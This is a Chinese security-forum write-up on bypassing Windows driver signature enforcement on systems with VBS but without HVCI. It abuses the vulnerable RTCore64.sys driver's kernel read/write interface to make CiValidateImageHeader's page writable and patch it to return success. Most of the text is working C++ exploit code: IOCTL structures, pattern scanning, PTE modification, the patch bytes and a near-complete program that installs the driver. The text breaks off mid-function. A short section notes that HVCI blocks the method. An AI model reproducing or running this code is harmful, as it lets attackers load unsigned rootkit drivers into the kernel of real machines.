[原创]在开启VBS的环境下绕过驱动签名强制-二进制漏洞-看雪安全社区

# 在开启VBS的环境下绕过驱动签名强制
## 引言
在 Windows 系统的安全防护体系中，驱动程序强制签名（Driver Signature Enforcement，DSE）是一项重要的安全机制，它用于防止攻击者将未签名的驱动程序加载到内核中，从而保护内核免受恶意代码的攻击。然而，随着攻击者技术的不断发展，针对 DSE 的绕过技术也逐渐出现。同时，微软推出的基于虚拟化的安全（Virtualization-Based Security，VBS）技术试图加强对内核的保护，但在未结合管理程序代码完整性（Hypervisor-Protected Code Integrity，HVCI）的情况下，仍然存在被绕过的可能。本文将详细介绍在没有开启 HVCI 的 VBS 环境下进行 DSE 绕过。
## 一、禁用驱动签名强制
在高版本的 Windows 系统中，DSE 由 ci.dll 内核模块实现，该模块中存在一个名为`g_CiOptions`的全局变量，将该变量设置为`0`可以完全禁用 DSE。但在 Windows 10 引入 VBS 机制后，这种直接修改变量的方法失效了，于是我们就看到了下面这一幕：

![alt text](upload/attach/202604/1061323_HPPVEN89ZT445A8.png)

## 二、VBS 的防护原理
VBS 是 Windows 10 和 11 系统中默认启用的安全机制，它提供了一个受管理程序保护的环境，运行第二个 “安全内核”，传统的 Ring-0 级别的内核无法触及该环境。VBS 通过内核数据保护（Kernel Data Protection，KDP）技术来保护g_CiOptions变量。

我们使用 Ghidra 导入 ci.dll，找到`CipInitialize`函数，我们可以看到有许多函数回调例程，我们点击`CiInitializePolicy`如图所示

![alt text](upload/attach/202604/1061323_E7MKBHU8M465EDM.png)

我们在`CiInitializePolicy`里一直向下翻找，可以看到`g_CiOptions`全局变量的地址传给了`MmProtectDriverSection`函数，如图所示

![alt text](upload/attach/202604/1061323_S87G5XY2D9EHG2K.png)

该函数的具体用法可以参考 MSDN，下面我就简单的列一下函数原型
```cpp
NTSTATUS MmProtectDriverSection(
  [in] PVOID  AddressWithinSection,
  [in] SIZE_T Size,
  [in] ULONG  Flags
);
```
该函数使用 VSM 管理的 SLAT 表（二级地址转换）保护内核中数据段的物理内存。而参数`AddressWithinSection`是指向要保护有效数据的内存地址，且在受保护期间，无法删除此保护。
## 三、在开启 VBS 的环境下绕过 DSE
### 3.1 通过代码热修补的方法绕过 DSE 原理
1. 要绕过 DSE，我们需要找到合适的位置进行补丁，我们可以在  `CI!CipImageGetImageHash`处下个断点，然后加载驱动，输出如下：
   ```js
   0: kd> bu CI!CipImageGetImageHash
   0: kd> g
   Breakpoint 0 hit
   CI!CipImageGetImageHash:
   fffff803`242e6f64 488bc4          mov     rax,rsp
   6: kd> k
   # Child-SP          RetAddr               Call Site
   00 ffffb080`c3529408 fffff803`242e6de5     CI!CipImageGetImageHash
   01 ffffb080`c3529410 fffff803`243283f0     CI!CipCalculateImageHash+0xa5
   02 ffffb080`c3529490 fffff803`242d6eaa     CI!CipValidateFileHash+0x290
   03 ffffb080`c3529570 fffff803`242a7ef2     CI!CipValidateImageHash+0x112
   04 ffffb080`c3529660 fffff803`9274e661     CI!CiValidateImageHeader+0xaa2
   05 ffffb080`c3529840 fffff803`9274df8f     nt!MiValidateSectionCreate+0x641
   ...
   0e ffffb080`c352a0d0 fffff803`927ccd42     nt!MmLoadSystemImageEx+0x110
   0f ffffb080`c352a1b0 fffff803`928bc453     nt!IopLoadDriver+0x262
   10 ffffb080`c352a380 fffff803`9211e74b     nt!IopLoadUnloadDriver+0x83
   ```
   从调试结果可知，加载任意驱动程序后，系统会进入 ci.dll 并调用 `CiValidateImageHeader`函数执行签名验证。因此，我们可在 `CiValidateImageHeader`函数起始位置写入一条机器指令，使其直接返回`STATUS_SUCCESS`，以此绕过签名验证流程。

需注意的是，内核空间中无法直接向可执行内存写入数据，需先修改虚拟地址对应的页表项（PTE），将目标内存区域设置为可写状态，再执行代码热修补操作。
2. 通过 Ghidra 对 RTCore64.sys 漏洞驱动进行逆向分析，可提取出其内核内存读、写接口，如下图所示：

![alt text](upload/attach/202604/1061323_8ZKUDXHYVETYBAE.png)

相关接口定义如下：
   ```cpp
   #define IOCTL_KERNEL_WRITE 0x8000204c
   #define IOCTL_KERNEL_READ 0x80002048
   #pragma pack(push, 1)
   // 驱动写接口
   typedef struct _KERNEL_WRITE_REQUEST {
      ULONG_PTR Unknown1;
      PVOID BaseAddress;
      DWORD Reserved1;
      DWORD Offset;
      DWORD WriteSize;
      ULONG WriteValue;
      DWORD Reserved2[4];
   } KERNEL_WRITE_REQUEST, * PKERNEL_WRITE_REQUEST;
   #pragma pack(pop)

//驱动读接口
   #pragma pack(push, 1)
   typedef struct _KERNEL_READ_REQUEST {
      BYTE Unknown1[8];
      LONGLONG BaseAddress;  
      DWORD Reserved1;
      DWORD Offset; 
      DWORD ReadSize;
      DWORD ReadValue;
      BYTE Reserved2[16];
   }KERNEL_READ_REQUEST, * PKERNEL_READ_REQUEST;
   #pragma pack(pop)
   ```
3. 调用漏洞驱动读写接口的实现代码
   基于上述接口，可编写如下代码调用漏洞驱动的内核内存读、写功能：
   ```cpp
   BOOL KernelReadMemory(PVOID TargetAddress, PBYTE lpBuffer, size_t BufferSize)
   {
      if(!gDevice)
      {
         return FALSE;
      }
      PBYTE baseAddress = (PBYTE)TargetAddress;
      for (size_t i = 0; i < BufferSize; i++)
      {
         KERNEL_READ_REQUEST readRequest = { 0 };
         readRequest.BaseAddress = (DWORD64)(baseAddress + i);
         readRequest.ReadSize = 1;
         DWORD bytesReturned = 0;
         BOOL result = DeviceIoControl(gDevice, IOCTL_KERNEL_READ, &readRequest, 0x30, &readRequest, 0x30, &bytesReturned, NULL);
         if (!result)
         {
            DWORD err = GetLastError();
            cout << "Failed to read kernel memory" << endl;
            cout << "errcode：" << err << endl;
            return FALSE;
         }
         lpBuffer[i] = readRequest.ReadValue & 0xFF;
      }
      cout << endl;
      return TRUE;
   }
   BOOL KernelWriteMemory(PVOID TargetAddress, PBYTE lpBuffer, size_t BufferSize)
   {
      if(!gDevice)
      {
         return FALSE;
      }
      PBYTE baseAddress = (PBYTE)TargetAddress;
      for (size_t i = 0; i < BufferSize; i++)
      {
         KERNEL_WRITE_REQUEST writeRequest = { 0 };
         writeRequest.BaseAddress = baseAddress + i;
         writeRequest.WriteSize = 1;
         writeRequest.WriteValue = lpBuffer[i];
         DWORD bytesReturned = 0;
         BOOL result = DeviceIoControl(gDevice, IOCTL_KERNEL_WRITE, &writeRequest, 0x30, NULL, 0, &bytesReturned, NULL);
         if (!result)
         {
            return FALSE;
         }
      }
      return TRUE;
   }
   ```
4. 寻找`CiValidateImageHeader`函数的地址

由于 Windows 的版本差异，`CiValidateImageHeader`函数的特征码可能不同，我们需要找一个相对稳定的特征码和相对稳定的搜索模式进行匹配。在这期间，我花费了大量时间去分析不同版本 Windows 系统中的 `ci.dll` 文件，尝试了多种特征码组合，最终才找到一个相对稳定的特征码和匹配模式。

具体实现代码如下：
   ```cpp
   DWORD_PTR GetMiGetPteAddressFuncRVA() 
   { 
       BYTE pattern[] = "\x48\xc1\xe9\x09\x48\xb8\xf8\xff\xff\xff\x7f\x00\x00\x00\x48\x23\xc8\x48\xb8\x00\x00\x00\x00\x00\x00\x00\x00\x48\x03\xc1\xc3"; 
       char mask[] = "xxxxxxxxxxxxxxxxxxxxxxx????xxxx"; 
       PBYTE funcAddr = (PBYTE)SearchPattern(gKernelImageExecuteBase, gKernelImageExecuteSize, pattern, mask); 
       return (DWORD_PTR)funcAddr-(DWORD_PTR)gKernelImageBase; 
   } 
   DWORD_PTR GetCiValidateImageHeaderRVA() 
   { 
       PBYTE pCiInitialize = (PBYTE)gCiImageBase + GetFuncRVA(gCiImageBase, "CiInitialize"); 
       cout << "CI!CiInitialize Address：0x" << hex << (DWORD_PTR)gCiBase + GetFuncRVA(gCiImageBase, "CiInitialize") << endl; 
       BYTE pattern[] = "\x48\x8b\xd6\x8b\xcd"; 
       char mask[] = "xxxxx"; 
       PBYTE pCipInitialize = (PBYTE)SearchPattern(pCiInitialize, 0x1000, pattern, mask); 
       pCipInitialize += 5; 
       INT32 offset = *(INT32*)(pCipInitialize + 1); 
       pCipInitialize += 5; 
       pCipInitialize += offset; 
       cout << "CI!CipInitialize Address：0x" << hex << (DWORD_PTR)pCipInitialize - (DWORD_PTR)gCiImageBase + (DWORD_PTR)gCiBase;
       BYTE pattern2[] = "\x48\x8d\x05\x00\x00\x00\x00"; 
       char mask2[] = "xxx??xx"; 
       PBYTE uValueA = (PBYTE)SearchPattern(pCipInitialize, 0x2000, pattern2, mask2); 
       INT32 offset2 = *(INT32*)(uValueA + 3); 
       cout << "offset2=0x" << hex << offset2 << endl; 
       DWORD_PTR next = (DWORD_PTR)uValueA + 7; 
       return (next + offset2) - (DWORD_PTR)gCiImageBase; 
   } 
   ```

该函数的工作原理如下：
   1. 首先获取 `CiInitialize` 函数的地址
   2. 在 `CiInitialize` 函数中搜索特征码 `\x48\x8b\xd6\x8b\xcd` 定位到 `CipInitialize` 函数的调用
   3. 解析调用指令的偏移量，计算出 `CipInitialize` 函数的地址
   4. 在 `CipInitialize` 函数中搜索特征码 `\x48\x8d\x05\x00\x00\x00\x00`，这是一个 `lea rax, [CiValidateImageHeader]` 指令的特征码
   5. 解析该指令的偏移量，计算出 `CiValidateImageHeader` 函数的相对虚拟地址（RVA）
   从汇编代码中可以看到：
   ![alt text](upload/attach/202604/1061323_Q98XJMR8YFPGUYE.png)
   以及：
   ![alt text](upload/attach/202604/1061323_U5J9VUR6N8BRDHN.png)
   通过这种方法，我们可以在不同版本的 Windows 系统中相对稳定地定位到 `CiValidateImageHeader` 函数的地址，为后续的热修补操作做准备。
5. 通过修改 PTE 项进行热修补操作
   找到 `CiValidateImageHeader` 函数后，我们需要修改其对应的页表项（PTE）权限，然后实施热修补。这是整个绕过过程的核心步骤，具体实现如下：

1. 获取 `MiGetPteAddress` 函数信息
      我们需要反汇编 `MiGetPteAddress` 函数逻辑来找到计算参数和 PTE 基址。从之前的分析中，我们知道该函数的汇编代码如下：
      ```asm
      nt!MiGetPteAddress:
      fffff803`5c86b560: 48 c1 e9 09          shr     rcx, 9
      fffff803`5c86b564: 48 b8 f8 ff ff ff 7f 00 00  mov     rax, 7FFFFFFFF8h
      fffff803`5c86b56e: 48 23 c8             and     rcx, rax
      fffff803`5c86b571: 48 b8 00 00 00 00 80 ac ff ff  mov     rax, 0FFFFAC8000000000h
      fffff803`5c86b57b: 48 03 c1             add     rax, rcx
      fffff803`5c86b57e: c3                   ret
      ```
      从代码中可以看到：
      - `shr rcx, 9`：将输入地址右移9位（对应4KB页大小）
      - `mov rax, 7FFFFFFFF8h`：加载掩码
      - `and rcx, rax`：清除低9位
      - `mov rax, 0FFFFAC8000000000h`：加载 PTE 基址
      - `add rax, rcx`：计算最终 PTE 地址
      - `ret`：返回结果
      
      在我们的实现中，通过以下代码获取这些关键信息：
      ```cpp
      // 获取 MiGetPteAddress 函数地址
      DWORD_PTR miGetPteAddressFuncRVA = GetMiGetPteAddressFuncRVA();
      cout << "MiGetPteAddress函数RVA：0x" << hex << miGetPteAddressFuncRVA << endl;
      PVOID miGetPteAddressFunc = (PBYTE)kernelBase + miGetPteAddressFuncRVA;
      PVOID miGetPteAddressFuncInImage = (PBYTE)gKernelImageBase + miGetPteAddressFuncRVA;
      cout << "MiGetPteAddress函数地址：0x" << hex << (DWORD_PTR)miGetPteAddressFunc << endl;
      
      // 读取 PTE 基址和计算参数
      DWORD64 pteBaseAddress = 0;
      KernelReadMemory((PBYTE)miGetPteAddressFunc + 19, (PBYTE)&pteBaseAddress, sizeof(pteBaseAddress));
      BYTE uValueA = *(BYTE*)((DWORD64)miGetPteAddressFuncInImage + 0x03);
      DWORD64 uValueB = *(DWORD64*)((DWORD64)miGetPteAddressFuncInImage + 0x06);
      cout << "uValueA：0x" << hex << (DWORD)uValueA << endl;
      cout << "uValueB：0x" << hex << uValueB << endl;
      cout << "PTE基址：0x" << hex << pteBaseAddress << endl;
      ```

通过反汇编分析，我们可以准确提取出计算 PTE 地址所需的参数，这是实现内存权限修改的关键步骤。

2. 计算 `CiValidateImageHeader` 函数的 PTE 地址
      ```cpp
      // 获取 CiValidateImageHeader 函数地址
      PVOID pCiValidateImageHeader = (PVOID)((DWORD_PTR)gCiBase + GetCiValidateImageHeaderRVA());
      cout << "CiValidateImageHeader函数地址：0x" << hex << (DWORD_PTR)pCiValidateImageHeader << endl;
      
      // 计算 PTE 地址
      ULONGLONG address = (ULONGLONG)pCiValidateImageHeader;
      ULONG64* pte = (ULONG64*)((address >> uValueA & uValueB) + pteBaseAddress);
      cout << hex << "PTE地址：0x" << (DWORD_PTR)pte << endl;
      ```
      可以借助 WinDbg 的`!pte [Address]`指令来确定 PTE 地址是否正确。
   3. 修改 PTE 权限
      ```cpp
      // 读取并修改 PTE 值，设置可写标志
      DWORD64 pteValue = 0;
      KernelReadMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));
      // 设置可写标志（第1位）
      pteValue = pteValue | 2;
      KernelWriteMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));
      ```

4. 实施热修补
      ```cpp
      // 备份原始代码
      BYTE originalValue[4] = { 0 };
      KernelReadMemory(pCiValidateImageHeader, originalValue, sizeof(originalValue));
      
      // 写入补丁：xor rax, rax; ret (返回 STATUS_SUCCESS)
      KernelWriteMemory(pCiValidateImageHeader, (PBYTE)"\x48\x30\xc0\xc3", 4);
      cout << "已成功修改 CiValidateImageHeader 函数，DSE 已绕过！" << endl;
      ```

5. 写完要马上恢复原始状态，否则会触发 PatchGuard 蓝屏
      ```cpp
      // 恢复原始代码
      KernelWriteMemory(pCiValidateImageHeader, originalValue, sizeof(originalValue));
      
      // 恢复 PTE 权限
      pteValue = pteValue ^ 2;  // 清除可写标志
      KernelWriteMemory(pte, (PBYTE)&pteValue, sizeof(pteValue));
      ```
6. 最终效果
   成功执行代码后，系统的DSE保护机制将被临时绕过，此时可以加载未签名的驱动程序。
   执行效果截图如下：

![alt text](upload/attach/202604/1061323_K45VCRNFX5RXXEP.png)

7. 防护策略

HVCI 通过 Hypervisor 利用 SLAT/EPT/NPT 提供的硬件虚拟化能力，在比普通内核更高的特权级别（Ring -1） 上管控内存页权限，普通内核态代码无法修改 Hypervisor 维护的页表。
   在启用HVCI的环境下可执行的内存页会被标记为只读且可执行（禁止写入），可写入的内存页（如数据区）会被标记为可写但不可执行。
   当我们尝试在启用 HVCI 的 VBS 环境下使用这种方法绕过 DSE，就会发现：

![alt text](upload/attach/202604/1061323_29NMMKN9JFCEX4P.png)

### 3.2 完整代码实现

```cpp
#include < iostream>
#include < Windows.h>
#include < winternl.h>
#include < ntstatus.h>
#pragma comment(lib,"ntdll.lib")
using namespace std;
/**
 * @brief 获取PE文件的NT头
 * @param baseAddress PE文件基地址
 * @param ntHeaders 输出参数，指向NT头的指针
 * @return 成功返回TRUE，失败返回FALSE
 */
inline BOOL GetNTHeaders(PVOID baseAddress, PIMAGE_NT_HEADERS* ntHeaders)
{
    if (!baseAddress || !ntHeaders) return FALSE;

PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    // 验证DOS头签名
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return FALSE;

// 计算NT头偏移
    *ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)baseAddress + dosHeader->e_lfanew);
    // 验证NT头签名
    if ((*ntHeaders)->Signature != IMAGE_NT_SIGNATURE) return FALSE;

return TRUE;
}
/**
 * @brief 获取PE文件导出表
 * @param baseAddress PE文件基地址
 * @param exportDirectory 输出参数，指向导出表的指针
 * @return 成功返回TRUE，失败返回FALSE
 */
inline BOOL GetImageExportDirectory(PVOID baseAddress, PIMAGE_EXPORT_DIRECTORY* exportDirectory)
{
    if (!baseAddress || !exportDirectory) return FALSE;

PIMAGE_NT_HEADERS ntHeaders = NULL;
    if (!GetNTHeaders(baseAddress, &ntHeaders)) return FALSE;

// 检查导出表数据目录是否有效
    if (ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress == 0) return FALSE;

// 计算导出表实际地址
    *exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)baseAddress +
        ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
    return TRUE;
}
// 全局变量定义
HANDLE gDevice = NULL;                  // 驱动设备句柄
DWORD_PTR gKernelImageSize = 0;         // 内核镜像总大小
DWORD_PTR gKernelImageExecuteSize = 0;  // 内核镜像可执行段（.text）大小
PVOID gKernelImageBase = NULL;          // 本地映射的内核镜像基地址
PVOID gKernelBase = NULL;               // 内核模块(ntoskrnl.exe)实际基地址
PVOID gKernelImageExecuteBase = NULL;   // 内核镜像可执行段（.text）基地址
PVOID gCiBase = NULL;                   // CI模块(ci.dll)实际基地址
PVOID gCiImageBase = NULL;              // 本地映射的CI镜像基地址
SIZE_T gCiImageSize = 0;                // CI镜像总大小

// 系统模块信息结构体：用于NtQuerySystemInformation获取内核模块列表
typedef struct _SYSTEM_MODULE_INFORMATION {
    ULONG_PTR Reserved1[2];
    PVOID ImageBase;          // 模块基地址
    ULONG ImageSize;          // 模块大小
    ULONG Flags;
    USHORT LoadOrderIndex;
    USHORT InitOrderIndex;
    USHORT LoadCount;
    USHORT OffsetToFileName;  // 文件名偏移
    UCHAR FullPathName[256];  // 模块完整路径
} SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION;

// 系统模块列表结构体
typedef struct _SYSTEM_MODULES {
    ULONG ModulesCount;                          // 模块数量
    SYSTEM_MODULE_INFORMATION Modules[1];        // 模块数组
} SYSTEM_MODULES, * PSYSTEM_MODULES;

// 驱动IOCTL控制码定义
#define IOCTL_KERNEL_WRITE 0x8000204c  // 内核内存写操作
#define IOCTL_KERNEL_READ 0x80002048   // 内核内存读操作

// 驱动写请求结构体
#pragma pack(push, 1)
typedef struct _KERNEL_WRITE_REQUEST {
    ULONG_PTR Unknown1;
    PVOID BaseAddress;    // 写入目标地址
    DWORD Reserved1;
    DWORD Offset;
    DWORD WriteSize;      // 写入大小
    ULONG WriteValue;     // 写入值
    DWORD Reserved2[4];
} KERNEL_WRITE_REQUEST, * PKERNEL_WRITE_REQUEST;
#pragma pack(pop)

// 驱动读请求结构体
#pragma pack(push, 1)
typedef struct _KERNEL_READ_REQUEST {
    BYTE Unknown1[8];
    LONGLONG BaseAddress; // 读取目标地址
    DWORD Reserved1;
    DWORD Offset;
    DWORD ReadSize;       // 读取大小
    DWORD ReadValue;      // 读取结果
    BYTE Reserved2[16];
} KERNEL_READ_REQUEST, * PKERNEL_READ_REQUEST;
#pragma pack(pop)

BOOL EnableDebugPrivilege()
{
    HANDLE hToken = NULL;
    TOKEN_PRIVILEGES tp = { 0 };

// 打开当前进程令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return FALSE;

// 查询调试权限LUID
    if (!LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid))
    {
        CloseHandle(hToken);
        return FALSE;
    }

// 启用调试权限
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
    
    CloseHandle(hToken);
    return result && GetLastError() == ERROR_SUCCESS;
}

/**
 * @brief 获取内核模块基地址
 * @param ModuleName 模块名（如"ntoskrnl.exe"）
 * @param ImageLength 输出参数，模块大小
 * @return 成功返回模块基地址，失败返回NULL
 */
PVOID GetKernelModuleBase(const char* ModuleName, size_t* ImageLength) {
    if (!ModuleName) return NULL;

DWORD moduleLength = 0;
    // 查询系统模块信息所需缓冲区大小
    NTSTATUS status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, NULL, 0, &moduleLength);
    if (status != STATUS_INFO_LENGTH_MISMATCH)
    {
        cout << "查询模块信息长度失败" << endl;
        return NULL;
    }

// 分配缓冲区存储模块信息
    PSYSTEM_MODULES modulesInfo = (PSYSTEM_MODULES)malloc(moduleLength);
    if (!modulesInfo)
    {
        cout << "分配模块信息内存失败" << endl;
        return NULL;
    }

// 获取系统模块列表
    status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)11, modulesInfo, moduleLength, &moduleLength);
    if (status != STATUS_SUCCESS)
    {
        cout << "查询模块信息失败" << endl;
        free(modulesInfo);
        return NULL;
    }

// 遍历模块列表查找目标模块
    for (DWORD i = 0; i < modulesInfo->ModulesCount; i++)
    {
        PCHAR moduleName = (PCHAR)(modulesInfo->Modules[i].FullPathName + modulesInfo->Modules[i].OffsetToFileName);
        if (!_strnicmp(moduleName, ModuleName, strlen(ModuleName)))
        {
            PVOID baseAddr = modulesInfo->Modules[i].ImageBase;
            if (ImageLength)
                *ImageLength = modulesInfo->Modules[i].ImageSize;
            
            free(modulesInfo);
            return baseAddr;
        }
    }

free(modulesInfo);
    cout << "未找到目标模块" << endl;
    return NULL;
}

/**
 * @brief 内存特征码搜索（Pattern Scan）
 * @param baseAddr 搜索起始地址
 * @param size 搜索范围大小
 * @param pattern 特征码数组
 * @param mask 特征码掩码（?表示任意字节）
 * @return 成功返回匹配地址，失败返回NULL
 */
PVOID SearchPattern(PVOID baseAddr, SIZE_T size, BYTE* pattern, const char* mask)
{
    PVOID result = NULL;
    __int64 patternLength = strlen(mask);
    BOOL found = FALSE;

// 遍历内存逐字节匹配特征码
    for (__int64 i = 0; i <= size - patternLength; i++) {
        found = TRUE;
        for (__int64 j = 0; j < patternLength; j++) {
            if (mask[j] != '?' && *(BYTE*)((DWORD_PTR)baseAddr + i + j) != pattern[j]) {
                found = FALSE;
                break;
            }
        }
        if (found) {
            result = (PVOID)((DWORD_PTR)baseAddr + i);
            break;
        }
    }
    return result;
}

/**
 * @brief 读取内核内存
 * @param TargetAddress 内核目标地址
 * @param lpBuffer 接收缓冲区
 * @param BufferSize 读取大小
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL KernelReadMemory(PVOID TargetAddress, PBYTE lpBuffer, size_t BufferSize)
{
    if (!gDevice) return FALSE;

PBYTE baseAddress = (PBYTE)TargetAddress;
    // 逐字节读取（驱动单次仅支持读1字节）
    for (size_t i = 0; i < BufferSize; i++)
    {
        KERNEL_READ_REQUEST readRequest = { 0 };
        readRequest.BaseAddress = (DWORD64)(baseAddress + i);
        readRequest.ReadSize = 1;

DWORD bytesReturned = 0;
        BOOL result = DeviceIoControl(gDevice, IOCTL_KERNEL_READ, &readRequest, 0x30, 
            &readRequest, 0x30, &bytesReturned, NULL);
        
        if (!result)
        {
            DWORD err = GetLastError();
            cout << "读取内核内存失败，错误码：" << err << endl;
            return FALSE;
        }
        lpBuffer[i] = readRequest.ReadValue & 0xFF;
    }
    return TRUE;
}

/**
 * @brief 写入内核内存
 * @param TargetAddress 内核目标地址
 * @param lpBuffer 写入数据缓冲区
 * @param BufferSize 写入大小
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL KernelWriteMemory(PVOID TargetAddress, PBYTE lpBuffer, size_t BufferSize)
{
    if (!gDevice) return FALSE;

PBYTE baseAddress = (PBYTE)TargetAddress;
    // 逐字节写入（驱动单次仅支持写1字节）
    for (size_t i = 0; i < BufferSize; i++)
    {
        KERNEL_WRITE_REQUEST writeRequest = { 0 };
        writeRequest.BaseAddress = baseAddress + i;
        writeRequest.WriteSize = 1;
        writeRequest.WriteValue = lpBuffer[i];

DWORD bytesReturned = 0;
        BOOL result = DeviceIoControl(gDevice, IOCTL_KERNEL_WRITE, &writeRequest, 0x30, 
            NULL, 0, &bytesReturned, NULL);
        
        if (!result)
            return FALSE;
    }
    return TRUE;
}

/**
 * @brief 初始化驱动设备：写入驱动文件、创建服务、打开设备句柄
 */
VOID InitDevice()
{
    // 创建并启动驱动服务
    system("sc create RTCore binpath= C:\\Windows\\System32\\drivers\\RTCore64.sys type= Kernel");
    system("sc start RTCore");

// 打开驱动设备句柄
    gDevice = CreateFileW(L"\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, 0, NULL, 
        OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    
    if (gDevice == INVALID_HANDLE_VALUE)
        gDevice = NULL;
    
    return;
}

/**
 * @brief 关闭驱动设备：关闭句柄、停止并删除服务、删除驱动文件
 */
VOID CloseDevice()
{
    if (gDevice)
        CloseHandle(gDevice);
    
    system("sc stop RTCore");
    system("sc delete RTCore");
}

/**
 * @brief 获取内核模块(ntoskrnl.exe)基地址
 * @return 成功返回基地址，失败返回NULL
 */
PVOID GetKernelBase()
{
    size_t kernelSize = 0;
    gKernelBase = GetKernelModuleBase("ntoskrnl.exe", &kernelSize);
    return gKernelBase;
}

/**
 * @brief 映射内核镜像(ntoskrnl.exe)到本地进程空间
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL MapKernelImage()
{
    __try
    {
        HANDLE hFile = NULL;
        PVOID ImageBuffer = NULL;
        PVOID ImageMemory = NULL;
        BOOL result = FALSE;

do 
        {
            // 打开ntoskrnl.exe文件
            hFile = CreateFileW(L"C:\\Windows\\System32\\ntoskrnl.exe", GENERIC_READ, FILE_SHARE_READ, 
                NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            
            if (hFile == INVALID_HANDLE_VALUE)
            {
                DWORD err = GetLastError();
                cout << "打开内核文件失败，错误码：" << err << endl;
                break;
            }

// 获取文件大小
            LARGE_INTEGER fileSize = { 0 };
            if (!GetFileSizeEx(hFile, &fileSize)) 
            { 
                cout << "获取内核文件大小失败" << endl; 
                break; 
            };
            
            size_t qwFileSize = fileSize.QuadPart;
            if (!qwFileSize)
            {
                cout << "内核文件大小无效" << endl;
                break;
            }

// 分配缓冲区读取文件内容
            ImageBuffer = VirtualAlloc(NULL, qwFileSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
            if (!ImageBuffer)
            {
                DWORD err = GetLastError();
                cout << "分配文件缓冲区失败，错误码：" << err << endl;
                break;
            }
            RtlSecureZeroMemory(ImageBuffer, qwFileSize);

// 读取文件内容到缓冲区
            DWORD bytesRead = 0;
            if (!ReadFile(hFile, ImageBuffer, qwFileSize, &bytesRead, NULL) || bytesRead != qwFileSize)
            {
                DWORD err = GetLastError();
                cout << "读取内核文件失败，错误码：" << err << endl;
                break;
            }
            CloseHandle(hFile);
            hFile = NULL;

// 获取PE文件NT头
            PIMAGE_NT_HEADERS ntHeaders = NULL;
            if (!GetNTHeaders(ImageBuffer, &ntHeaders))
            {
                cout << "获取内核镜像NT头失败" << endl;
                break;
            }

// 分配内存映射PE镜像
            ImageMemory = VirtualAlloc(NULL, ntHeaders->OptionalHeader.SizeOfImage, 
                MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            
            if (!ImageMemory)
            {
                DWORD err = GetLastError();
                cout << "分配镜像内存失败，错误码：" << err << endl;
                break;
            }
            RtlSecureZeroMemory(ImageMemory, ntHeaders->OptionalHeader.SizeOfImage);

// 复制PE头
            memcpy(ImageMemory, ImageBuffer, ntHeaders->OptionalHeader.SizeOfHeaders);

// 复制节数据
            PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
            for (DWORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
            {
                PBYTE dest = (PBYTE)ImageMemory + sectionHeader[i].VirtualAddress;
                PBYTE src = (PBYTE)ImageBuffer + sectionHeader[i].PointerToRawData;
                memcpy(dest, src, sectionHeader[i].SizeOfRawData);
            }

// 释放文件缓冲区，保存镜像信息
            ImageBuffer = NULL;
            gKernelImageBase = ImageMemory;
            gKernelImageSize = ntHeaders->OptionalHeader.SizeOfImage;
            result = TRUE;

} while (false);

// 清理资源
        if (hFile && hFile != INVALID_HANDLE_VALUE)
            CloseHandle(hFile);
        
        if (ImageBuffer)
            VirtualFree(ImageBuffer, 0, MEM_RELEASE);
        
        return result;
    }
    __except (EXCEPTION_EXECUTE_HANDLER)
    {
        DWORD err = GetExceptionCode();
        cout << "映射内核镜像异常，异常码：0x" << hex << err << endl;
        ExitProcess(1);
    }
}

/**
 * @brief 释放本地映射的内核镜像
 */
VOID UnmapKernelImage()
{
    if (gKernelImageBase)
    {
        VirtualFree(gKernelImageBase, 0, MEM_RELEASE);
        gKernelImageBase = NULL;
    }
}

/**
 * @brief 获取内核镜像可执行段（.text）基地址和大小
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL GetKernelImageExecuteBase()
{
    if (!gKernelImageBase) return FALSE;

PIMAGE_NT_HEADERS ntHeaders = NULL;
    if (!GetNTHeaders(gKernelImageBase, &ntHeaders)) return FALSE;

// 遍历节表查找.text节
    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (DWORD i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++)
    {
        if (strcmp((char*)sectionHeader[i].Name, ".text") == 0)
        {
            gKernelImageExecuteBase = (PBYTE)gKernelImageBase + sectionHeader[i].VirtualAddress;
            gKernelImageExecuteSize = sectionHeader[i].SizeOfRawData;
            break;
        }
    }
    return TRUE;
}

/**
 * @brief 映射CI镜像(ci.dll)到本地进程空间
 * @return 成功返回TRUE，失败返回FALSE
 */
BOOL MapCiImage()
{
    __try
    {
        HANDLE hFile = NULL;
        PVOID ImageBuffer = NULL;
        PVOID ImageMemory = NULL;
        BOOL result = FALSE;
        do 
        {
            // 打开ci.dll文件
            hFile = CreateFileW(L"C:\\Windows\\System32\\ci.dll", GENERIC_READ, FILE_SHARE_READ, 
                NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
            
